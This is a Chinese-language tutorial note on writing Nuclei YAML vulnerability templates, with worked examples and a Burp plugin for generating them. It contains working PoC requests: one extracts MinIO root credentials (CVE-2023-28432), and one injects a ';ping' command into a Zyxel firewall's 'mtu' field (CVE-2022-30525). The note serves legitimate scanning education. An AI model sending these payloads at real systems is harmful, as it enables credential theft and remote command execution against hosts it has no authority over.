文章目录
- 前记
- 漏洞发现------第一百零二天
-
- 漏扫项目篇&PoC开发&Yaml语法&插件一键生成&匹配结果&交互提取
-
- 前置知识
- [Nuclei - PoC开发-环境配置&编写流程](#Nuclei - PoC开发-环境配置&编写流程)
- [Nuclei - PoC开发-Yaml语法&匹配提取](#Nuclei - PoC开发-Yaml语法&匹配提取)
- [Nuclei - PoC开发-BurpSuite一键生成插件](#Nuclei - PoC开发-BurpSuite一键生成插件)
前记
- 今天是学习小迪安全的第一百零一天,本节课是关于漏洞发现中使用Yaml语法去编写PoC的内容
- 主要是关于学习如何Yaml简单的语法,了解如何编写简单的PoC文件即可
漏洞发现------第一百零二天
漏扫项目篇&PoC开发&Yaml语法&插件一键生成&匹配结果&交互提取
前置知识
什么是Yaml语法
- YAML 是一种用于配置文件的数据序列化格式,它以数据为中心,强调易读性,采用空格缩进来表示层级关系,且大小写敏感 。YAML 文件通常以
.yml
或者.yaml
为后缀。 - 建议在学习接下的知识之前看看这篇文章,先简单了解一下Yaml的大致语法以及规则:(11 封私信 / 80 条消息) 一文看懂 YAML - 知乎
- 一个简单的Yaml文件:
yaml
- name: John Doe
job: Developer
skills:
- Python
- DevOps
为什么Nuclei能够解析Yaml编写的PoC进行发包测试?
- Nuclei 把 YAML 当成一种"领域专用模板语言":在 YAML 文件里按照固定字段写下
ID
、info
、http/tcp/dns
等协议段,再填充URL
、Header
、Body
、匹配器(matchers
)、提取器(extractors
)等内容。 Nuclei
引擎读取模板时,会把这些字段解析成内部结构,然后:- 用 Go 的 net/http(或对应协议库)按模板拼装请求;
- 把收到的响应交给匹配器/提取器做正则、关键字、状态码等判断;
- 一旦条件成立即报告漏洞
- 因此"写 YAML"相当于在高层声明"发什么包、怎样算漏洞",真正的发包、收包、判断逻辑由 Nuclei 在底层完成;YAML 的易读、易维护、跨语言支持正好让安全研究员无需编码即可快速产出、共享 PoC
Nuclei - PoC开发-环境配置&编写流程
-
开发环境:VSCode + Yaml插件
-
VSCode安装教程:VSCode安装配置使用教程(最新版超详细保姆级含插件)一文就够了_vscode使用教程-CSDN博客
-
然后我们还要安装一个YAML插件:
-
YAML开发文档参考资料:Basic HTTP Protocol - ProjectDiscovery Documentation
-
关于Nuclei PoC模板开发笔记参考资料:
-
这里我们开发的时候主要就是找一个模板,然后对照着更改即可,针对复杂的PoC,暂时不考虑
Nuclei - PoC开发-Yaml语法&匹配提取
介绍
- YAML是一种数据序列化语言,它的基本语法规则注意如下 :
- 大小写敏感
- 使用缩进表示层级关系
- 缩进时不允许使用Tab键,只允许使用空格。
- 缩进的空格数目不重要,只要相同层级的元素左侧对齐即可
- 编写PoC的Yaml模板一般包含如下描述性内容:
-
编号 id:描述该PoC的CVE、CNVD、AVD等的编号信息
-
信息 info:描述该PoC的基本信息,如摘要、作者、危害等级、关键词等等
-
请求 http、file、tcp等:描述该漏洞触发的请求方式
- 可以直接发送原始数据包,用
raw
指定 - 可以让它自己构造数据包,用
method
指定方法,path
指定路径,headers
、body
指定请求头部、身体数据
- 可以直接发送原始数据包,用
-
匹配 matchers Interactsh:
matchers-condition: and/or
是描述匹配值的逻辑关系,and表示都匹配才符合;or表示只要有一个匹配就符合matchers
:描述匹配值的基本信息
-
提取 extractors:对结果提取页面长度、状态等来判断是否存在漏洞
-
开发流程
- 然后我们开发 一个PoC的流程 如下:
- PoC模板套用修改:直接选一个官方写好的PoC模板,进去根据需求修改即可
- PoC创建独立编号
- PoC填写详细信息:根据该漏洞的信息填写
- PoC提交协议流程编写:填写以什么协议发送什么测试数据包的情况
- PoC结果匹配模式判断:填写响应包满足哪些条件可验证漏洞存在
- PoC结果提取模式判断
案例1:CVE-2023-28432(匹配结果)
-
漏洞复现参考地址:https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
-
这里就直接搭建一个环境即可:
-
我们这里主要是了解这个PoC是怎么写的,熟悉一下流程,首先它的复现流程是通过向
http://your-ip:9000/minio/bootstrap/v1/verify
发送POST请求:
http
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
- 如果响应体中包含
MINIO_ROOT_USER
和MINIO_ROOT_PASSWORD
关键字,那么就说明该漏洞存在 - 所以随便找到一个PoC模板,当然因为该漏洞验证起来比较简单,也可以自己编写:
yaml
id: CVE-2023-28432
info:
name: MinIO Information Disclosure in Cluster Deployment
author: ulin
severity: HIGH
description: None
reference:
- https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
- https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ
http:
- raw:
- |
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
matchers-condition: and
matchers:
- type: word
part: body
words:
- MINIO_ROOT_USER
- MINIO_ROOT_PASSWORD
- type: status
status:
- 200

案例2:CVE-2022-30525(匹配交互)
- 有的漏洞它可能是需要交互的,比如ping dns地址之类的,那这时候我们就不是像上面这样写死匹配响应体的数据了
- 我们就需要用到
Interactsh
匹配器中的interactsh_protocol
标签去匹配dns
、http
、smtp
等协议来验证漏洞是否存在 - 比如这里的CVE-2022-30525,它就需要通过让目标解析dns地址来判断是否存在漏洞,那我们就可以编写如下yaml文件:
yaml
id: CVE-2022-30525
info:
name: CVE-2022-30525
author: ulin
severity: High
description: None
reference:
- https://blog.csdn.net/weixin_43080961/article/details/124776553
tags: zyxel, cve, rce
http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
payloads:
exploit:
- ";ping -c 3 {{interactsh-url}};"
matchers:
- type: word
part: interactsh_protocol
name: dns
words:
- "dns"
- 我没有找到目标,只能给出小迪上课演示的图片:
Nuclei - PoC开发-BurpSuite一键生成插件
-
当然,如果我们实在不想自己写PoC,我们也可以使用工具一键生成,比如burp中的插件
nuclei-burp-plugin
:projectdiscovery/nuclei-burp-plugin: Nuclei plugin for BurpSuite -
可以在BP的商店直接下载,也可以通过上面的连接下载之后导入:
-
安装好之后,我们需要配置如下信息并保存:
-
这里我们还是用刚才的CVE-2023-28432来做演示,我们先正常验证漏洞存在,然后选中响应包中验证漏洞存在的关键字"MINIO_ROOT_USER",右键选择刚刚的插件:
-
它就会自动帮你写出符合的yaml文件:
-
如果还想添加检测到的关键字,就再次重复刚才的操作,然后这里选择添加到Tab 1的匹配字段那里:
-
这里就会多出一个匹配字段:
-
但是插件毕竟还是比较死板的,对于一些复杂的验证方式,或者上面说的交互式的验证逻辑,可能还是需要人为去加以修改才行